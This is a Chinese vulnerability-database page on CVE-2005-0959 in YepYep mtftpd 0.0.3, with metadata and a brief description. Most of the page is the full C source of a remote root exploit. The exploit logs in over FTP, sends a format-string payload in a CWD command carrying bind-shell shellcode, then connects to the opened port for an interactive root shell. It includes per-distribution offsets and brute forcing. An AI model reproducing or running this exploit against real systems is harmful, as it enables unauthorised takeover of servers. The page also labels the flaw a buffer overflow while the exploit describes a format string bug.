YepYep mtftpd 缓冲区溢出漏洞
漏洞ID | 1108595 | 漏洞类型 | 缓冲区溢出 |
发布时间 | 2005-03-30 | 更新时间 | 2005-10-20 |
CVE编号 | CVE-2005-0959 |
CNNVD-ID | CNNVD-200505-119 |
漏洞平台 | Linux | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
YepYepmtftpd0.0.3的mt_do_dir函数中存在缓冲区溢出漏洞,允许攻击者通过较长的路径来执行任意代码。
|漏洞EXP
source: http://www.securityfocus.com/bid/12947/info
mtftpd is reported prone to a remote format string vulnerability.
Reports indicate that this issue may be exploited by a remote authenticated attacker to execute arbitrary code in the context of the vulnerable service.
This vulnerability is reported to affect mtftpd versions up to an including version 0.0.3.
/*
* Remote root exploit against mtfptd daemon <= 0.0.3 ( wow! )
* http://mtftpd.sourceforge.net/ <- ALPHA RELEASE !
* There is a format bug in the log_do() function ( log.c )
* patch: - syslog(prd, buf); + syslog(prd, "%s", buf);
* Maybe there are other bugs in the code (lots of strcpy) but this was
* the funniest.
*
* I've seen some ppl posting useless, code-ripped, not working,
* lame exploits for rare daemons or tools so I decided to write
* my own oneday, useless, lame exploit (with ripped code naturally)
* to post it somewhere just for fun and "glory", that's the leeto way
* nowadays it seems.
*
* ugh! I think I'm out of date because I didn't manage to write a banner
* longer than the code itself. And yes, I've got time to waste...
*
* kisses 2 tankie - greets: sorbo, arcangelo, jestah
* by gunzip@ircnet - mailto: <[email protected]>
*/
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <getopt.h>
int shell ( u_long ip );
void usage( char * a );
int die (char * error);
void handle_timeout( int s );
u_long res( char * fqhn );
int connect_to_host ( unsigned long ip , int port );
int answer( char * buf, unsigned int size, FILE * file );
char * mk_fmt_string( unsigned int align,
unsigned int offset,
unsigned long retloc,
unsigned long retaddr,
int written );
#define ELITEBANNER "nlinux/x86 mtftpd <= 0.0.3 remote root exploit by gunzipnn"
#define COMMAND "unset HISTFILE; echo; uname -a; id;n"
#define BUFSIZE 1024
#define NOP 0x41
static __inline__ void * _xmalloc(size_t size, char *function, int line) {
void * temp;
temp = (void *)malloc( size );
if (!temp) {
fprintf(stderr,"Malloc failed at [%s:%d]",function, line);
exit(-1);
}
else { memset( temp, 0, size ); return( temp );
}
}
#define xmalloc(a) _xmalloc(a, __FUNCTION__, __LINE__)
char bind_code[]= /* ripped from www.netric.org, hi eSDee */
"x31xc0x31xdbx31xc9x31xd2xb0x66xb3x01x51xb1x06x51xb1x01"
"x51xb1x02x51x8dx0cx24xcdx80xb3x02xb1x02x31xc9x51x51x51"
"x80xc1x77x66x51xb1x02x66x51x8dx0cx24xb2x10x52x51x50x8d"
"x0cx24x89xc2x31xc0xb0x66xcdx80xb3x01x53x52x8dx0cx24x31"
"xc0xb0x66x80xc3x03xcdx80x31xc0x50x50x52x8dx0cx24xb3x05"
"xb0x66xcdx80x89xc3x31xc9x31xc0xb0x3fxcdx80x41x31xc0xb0"
"x3fxcdx80x41x31xc0xb0x3fxcdx80x31xdbx53x68x6ex2fx73x68"
"x68x2fx2fx62x69x89xe3x8dx54x24x08x31xc9x51x53x8dx0cx24"
"x31xc0xb0x0bxcdx80x31xc0xb0x01xcdx80";
struct targ {
char * name ;
u_int stackpops ;
u_int align ;
unsigned char * code ;
u_long retloc ;
u_long retaddr ;
u_int written ;
};
/*
* to get retloc objdump -R /usr/local/bin/mtftpd | grep write
* to get retaddr align and stackpops compile with -DDEBUG
* and play with gdb and syslog messages if you got time to waste...
*/
struct targ tg[]= {
{ "Debian Woody 3.0 from sources (mtftpd-0.0.3.tar.gz)", 18, 0,
bind_code, 0x0804f324, 0xbffffba4, 36 },
{ "Slackware 8.1 from sources (mtftpd-0.0.3.tar.gz)", 18, 0,
bind_code, 0x0804f2e4, 0xbffff684, 36 },
{ NULL, 0, 0, NULL, 0, 0 }
};
int main(int argc, char *argv[])
{
u_long ip, brute = 0x0 ;
u_short port = 21 ;
char * user = "ftp";
char * pass = "ftp@";
char * victim = "127.0.0.1";
int opt, len, sock, t = 0 ;
char buf[ BUFSIZE ],
nopcode[ BUFSIZE ];
char * evil = (char *)xmalloc( 10000 );
FILE * sockf = NULL ;
fprintf( stderr, ELITEBANNER );
if ( argc < 2 ) { usage( argv[0] ); exit(-1); }
while ((opt = getopt(argc, argv, "b:u:p:w:g:P:n:a:r:hv:t:")) != EOF) {
switch(opt)
{
case 'b': brute = strtoul(optarg,NULL,16); break;
case 't': t = atoi(optarg); break;
case 'v': victim = strdup( optarg ); break;
case 'u': user = strdup( optarg ); break;
case 'p': pass = strdup( optarg ); break;
case 'w': tg[t].written = atoi(optarg); break;
case 'g': tg[t].retloc = strtoul(optarg,NULL,16); break;
case 'P': port = atoi(optarg); break;
case 'n': tg[t].stackpops = atoi(optarg); break;
case 'a': tg[t].align = atoi(optarg); break ;
case 'r': tg[t].retaddr = strtoul(optarg,NULL,16); break;
case 'h':
default : usage( argv[0] ); exit( -1 ); break ;
}
}
fprintf( stderr, "[+] Using target %sn", tg[ t ].name );
if ( (ip = res( victim )) == -1 )
die( "Bad hostname or ip." );
do {
if ( (sock = connect_to_host( ip, port )) > 0 ) {
sockf = fdopen ( sock, "a+" );
if ( fdopen == NULL ) die( "fdopen failed." );
}
else die( "Cannot connect to host." );
fprintf( stderr, "[+] Trying to log in...n");
answer( buf, BUFSIZE, sockf );
fprintf( sockf, "USER %srn", user);
answer( buf, BUFSIZE, sockf );
fprintf( sockf, "PASS %srn", pass);
answer( buf, BUFSIZE, sockf );
if ( strstr( buf, "logged in" ) == NULL )
die( "Cannot log in, wrong user/pwd ?" );
else
fprintf( stderr, "[+] Doing the actual exploit...n");
fprintf( sockf, "CWD /rn" );
answer( buf, BUFSIZE, sockf );
fprintf( sockf, "CWD " );
evil = mk_fmt_string( tg[ t ].align,
tg[ t ].stackpops,
tg[ t ].retloc,
brute ? brute : tg[ t ].retaddr,
tg[ t ].written
);
/*
* I think shellcode can be placed elsewhere but I didn't check it
*/
len = 256 - strlen( "CWD " ) - strlen( tg[t].code ) - strlen( evil ) - 4;
memset( nopcode, NOP, len );
nopcode[ len ] = 0 ;
/*
* length of command line can't be more than 256 chars
* because server checks it..
*/
fprintf( stderr, "[+] Using written=%d align=%d retaddr=0x%.08x retloc=0x%.08x nops=%dn",
tg[t].written, tg[t].align, brute ? (u_int)brute : (u_int)tg[t].retaddr, (u_int)tg[t].retloc, len );
fprintf( sockf, "%s", evil );
fprintf( sockf, "%s", nopcode );
fprintf( sockf, "%s", tg[t].code );
fprintf( sockf, "rn" );
fprintf( sockf, "QUITrn" );
if ( brute ) brute -= len ;
fclose( sockf );
close( sock );
sleep( 1 );
}
while (( shell( ip ) == -1 ) && ( brute > 0xbffff000 ));
fprintf( stderr, "[-] Byen");
return( 0xc1a0 );
}
void handle_timeout(int sig)
{
die( "Timeouted." );
}
int die (char * error)
{
fprintf(stderr, "[-] %sn",error);
exit( -1 );
}
u_long res(char *p)
{
struct hostent * h;
unsigned long int rv;
if ( (rv=inet_addr(p)) != -1 ) return rv;
if( (h=gethostbyname(p)) != NULL ) {
memcpy( &rv,h->h_addr,h->h_length );
return ( rv );
}
return( -1 );
}
int connect_to_host ( unsigned long ip , int port ) {
int sockfd ;
struct sockaddr_in sheep ;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
return(-1);
sheep.sin_family = AF_INET;
sheep.sin_addr.s_addr = ip ;
sheep.sin_port = htons (port);
signal(SIGALRM,handle_timeout); alarm( 10 );
if ( connect(sockfd,(struct sockaddr *)&sheep,sizeof(sheep)) == -1 )
return(-1);
alarm( 0 ); signal(SIGALRM,SIG_DFL);
return(sockfd);
}
int answer( char * buf, unsigned int size, FILE * file )
{
static int count = 1 ;
usleep( 1000 );
memset( buf, 0, size );
fgets( buf, size, file );
return ( fprintf( stderr, " 33[32m[%d]: %s 33[0m", count++, buf ) );
}
void usage( char * a )
{
int i ;
fprintf( stderr, "Usage: %s -v victim [options]nn"
"-vtvictim ip or fqhnn"
"-utusern"
"-ptpasswordn"
"-btbase retaddr for bruteforcing (ie. 0xbffffd90)n"
"-Ptport to connect to (default 21)n"
"-ttone of the predefined targetsn"
"-atalign [0-3]n"
"-wtnumbers of bytes already writtenn"
"-ntnumber of stackpops (should be right)n"
"-rtreturn address (shellcode address)n"
"-gtaddress to be overwrittennn", a );
for (i = 0 ; tg[ i ].name ; i++ )
fprintf ( stderr, "%d - %sn",i,tg[ i ].name);
printf("n");
}
int shell( u_long ip )
{
int fd;
int rd ;
fd_set rfds;
static char buff[ 1024 ];
fprintf(stdout,"[+] Checking if exploit workedn");
if ( (fd=connect_to_host( ip, 30464 )) == -1 ) {
fprintf( stderr, "[-] Did not worked.n");
return( -1 );
}
write(fd, COMMAND, strlen( COMMAND ));
while(1) {
FD_ZERO( &rfds );
FD_SET(0, &rfds);
FD_SET(fd, &rfds);
if(select(fd+1, &rfds, NULL, NULL, NULL) < 1)
return( 0 );
if(FD_ISSET(0,&rfds)) {
if( (rd = read(0,buff,sizeof(buff))) < 1)
die("shell(): read from stdin");
if( write(fd,buff,rd) != rd)
die("shell(): write to sock");
}
if(FD_ISSET(fd,&rfds)) {
if( (rd = read(fd,buff,sizeof(buff))) < 1)
die("see you next time, bye.");
write(1,buff,rd);
}
}
}
/**
** some stuff behind here is ripped from scut's fmtlib
** other stuff from formatbuilder by
** Frederic "Pappy" Raynal and Samuel "Zorgon" Dralet
** others are by me gunzip@ircnet
**/
#define TOWCALC(rabyte,writtenc) (
(((rabyte + 0x100) - (writtenc % 0x100)) % 0x100) < 10 ?
((((rabyte + 0x100) - (writtenc % 0x100)) % 0x100) + 0x100) :
(((rabyte + 0x100) - (writtenc % 0x100)) % 0x100)
)
#define OCT( b0, b1, b2, b3, addr ) {
b0 = (addr >> 24) & 0xff;
b1 = (addr >> 16) & 0xff;
b2 = (addr >> 8) & 0xff;
b3 = (addr ) & 0xff;
}
char * mk_fmt_string( unsigned int align,
unsigned int offset,
unsigned long retloc,
unsigned long retaddr,
int written )
{
int tow0, tow1, tow2, tow3 ;
char * addr = (char *)xmalloc(128);
char * fmt = (char *)xmalloc(516);
char * buf = (char *)xmalloc(1024);
char * ptr = addr ;
char b0, b1, b2, b3 ;
OCT ( b0, b1, b2, b3, retloc );
while (( align-- ) && (align < 16 ))
*addr++ = 0x41 ;
*addr++ = b3 + 0 ; *addr++ = b2 ; *addr++ = b1 ; *addr++ = b0 ;
*addr++ = b3 + 1 ; *addr++ = b2 ; *addr++ = b1 ; *addr++ = b0 ;
*addr++ = b3 + 2 ; *addr++ = b2 ; *addr++ = b1 ; *addr++ = b0 ;
*addr++ = b3 + 3 ; *addr++ = b2 ; *addr++ = b1 ; *addr++ = b0 ;
*addr++ = 0 ;
OCT ( b0, b1, b2, b3, retaddr );
tow3 = TOWCALC(b3, written); written += tow3 ;
tow2 = TOWCALC(b2, written); written += tow2 ;
tow1 = TOWCALC(b1, written); written += tow1 ;
tow0 = TOWCALC(b0, written);
snprintf(fmt,516,
#ifdef DEBUG
"%%%dx|%%%d$08x|%%%dx|%%%d$08x|%%%dx|%%%d$08x|%%%dx|%%%d$08x|",
#else
"%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
#endif
tow3, offset,
tow2, offset + 1,
tow1, offset + 2,
tow0, offset + 3);
snprintf(buf,1024,"%s%s",ptr,fmt);
free(ptr);
free(fmt);
return(buf);
}
/* http://members.xoom.it/gunzip */
|参考资料
来源:BID
名称:12947
链接:http://www.securityfocus.com/bid/12947
相关推荐: eMule 0.2x Client – OP_SERVERIDENT Heap Overflow
eMule 0.2x Client – OP_SERVERIDENT Heap Overflow 漏洞ID 1054133 漏洞类型 发布时间 2003-09-01 更新时间 2003-09-01 CVE编号 N/A CNNVD-ID N/A 漏洞平台 Win…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666